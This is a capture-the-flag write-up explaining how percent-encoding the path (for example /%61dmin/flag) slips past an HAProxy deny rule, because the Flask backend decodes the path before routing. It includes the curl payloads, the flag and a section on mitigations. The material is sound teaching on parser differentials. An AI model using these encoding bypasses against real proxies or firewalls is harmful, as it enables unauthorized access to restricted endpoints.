Borderline Personality - EH4X CTF Writeup
Category: Web | Points: 480 | Solves: 33 | Author: N0nchalantAc1d
"The proxy thinks it's in control. The backend thinks it's safe. Find the space between their lies and slip through."
First Look
Alright so we get a zip file with the full source code. Love when CTF authors do that, no guessing games. Lets see what we're working with:
handout/
docker-compose.yml
haproxy/
haproxy.cfg
backend/
app.py
Dockerfile
requirements.txt
templates/index.html
Two services - HAProxy sitting in front of a Flask backend. Classic reverse proxy setup.
The moment I saw "proxy" and "backend" in the same sentence, my brain immediately went to parser differential.

Reading the Source
HAProxy Config (haproxy.cfg)
global
log stdout format raw local0
maxconn 2000
defaults
log global
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
frontend http-in
bind *:8080
acl restricted_path path -m reg ^/+admin
http-request deny if restricted_path
default_backend application_backend
backend application_backend
server backend1 backend:5000
The important line is this ACL rule:
acl restricted_path path -m reg ^/+admin
http-request deny if restricted_path
Translation: "If the path starts with one or more / followed by admin, block it." So /admin, //admin, ///admin - all blocked.
Flask Backend (app.py)
@app.route('/admin/flag', methods=['GET', 'POST'])
def flag():
return "EHAX{TEST_FLAG}\n", 200Flag is sitting right there at /admin/flag. We just can't reach it because HAProxy is playing bouncer.
Versions Matter!
# docker-compose.yml
haproxy:
image: haproxy:1.9.1-alpine # <--- OLD version, noted.
# requirements.txt
Flask==2.0.3
Werkzeug==2.0.3Old HAProxy version. Old Werkzeug. When I see old versions in CTFs, I start smiling.
The Vulnerability: Parser Differential (URL Encoding Bypass)
This is a classic proxy vs backend parser mismatch. Here's the key insight:
HAProxy's path fetcher returns the RAW URL path - it does NOT decode percent-encoded characters before matching the ACL regex.
Flask/Werkzeug DOES decode percent-encoded characters before routing the request.
So if we URL-encode part of the word admin, HAProxy sees gibberish but Flask sees admin. They're looking at the same request but reading it differently.
This is the same class of bug you see everywhere in real-world WAF bypasses. The proxy and backend disagree on what the URL means. That disagreement is the gap we slip through.
ASCII Table refresher for the homies:
a= 0x61 =%61d= 0x64 =%64/= 0x2F =%2FAny character in "admin" can be encoded!
The Solve
One curl. That's it. That's the whole exploit.
curl http://chall.ehax.in:9098/%61dmin/flagEH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}
480pt challenge, one curl. ez clap.

Why This Works - The Educational Deep Dive
URL Encoding 101
URL encoding (aka percent-encoding) is defined in RFC 3986. A % followed by two hex digits represents a single byte. %61 = byte 0x61 = ASCII a.
Every web server is supposed to decode these before processing, but not every component in the chain does it at the same time.
The Trust Gap
HAProxy does its security check on the raw URL. It sees %61dmin and thinks "that's not admin" and lets it through. Flask decodes the URL and routes it to /admin/flag happily.
Other Payloads That Would Also Work
Any encoding of the letters in admin bypasses the regex:
# Encode the 'a'
curl http://chall.ehax.in:9098/%61dmin/flag
# Encode the 'd'
curl http://chall.ehax.in:9098/a%64min/flag
# Encode multiple characters
curl http://chall.ehax.in:9098/%61%64%6din/flag
# Go full percent-encoding
curl http://chall.ehax.in:9098/%61%64%6d%69%6e/flagAll of these bypass the regex because HAProxy doesn't decode any of them.
Real-World Impact
This isn't just a CTF trick. This class of vulnerability shows up constantly in production:
- WAF Bypasses - Web Application Firewalls that check raw URLs can be bypassed with URL encoding, double encoding, or Unicode normalization
- Nginx + Backend mismatches - Nginx
locationblocks vs backend routing - Cloud WAF + Origin - Cloudflare/AWS WAF rules vs the actual application server
- API Gateways - Kong, Traefik, Envoy all have their own URL parsing quirks
The lesson: never trust that the proxy and backend see the same URL. If your security depends on URL path matching at the proxy level, make sure it normalizes/decodes the URL first.
Mitigations
- Use HAProxy's
url_decconverter:path,url_dec -m reg ^/+admin(decode THEN match) - Upgrade HAProxy - newer versions have better normalization options
- Apply security checks at the application layer too (defense in depth)
- Use
http-request normalize-uridirectives (HAProxy 2.4+)
Flag
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}
GG to N0nchalantAc1d for a clean challenge. Simple concept, good learning opportunity.
"In the space between what the proxy sees and what the backend believes, lies the exploit."
- Sun Tzu, probably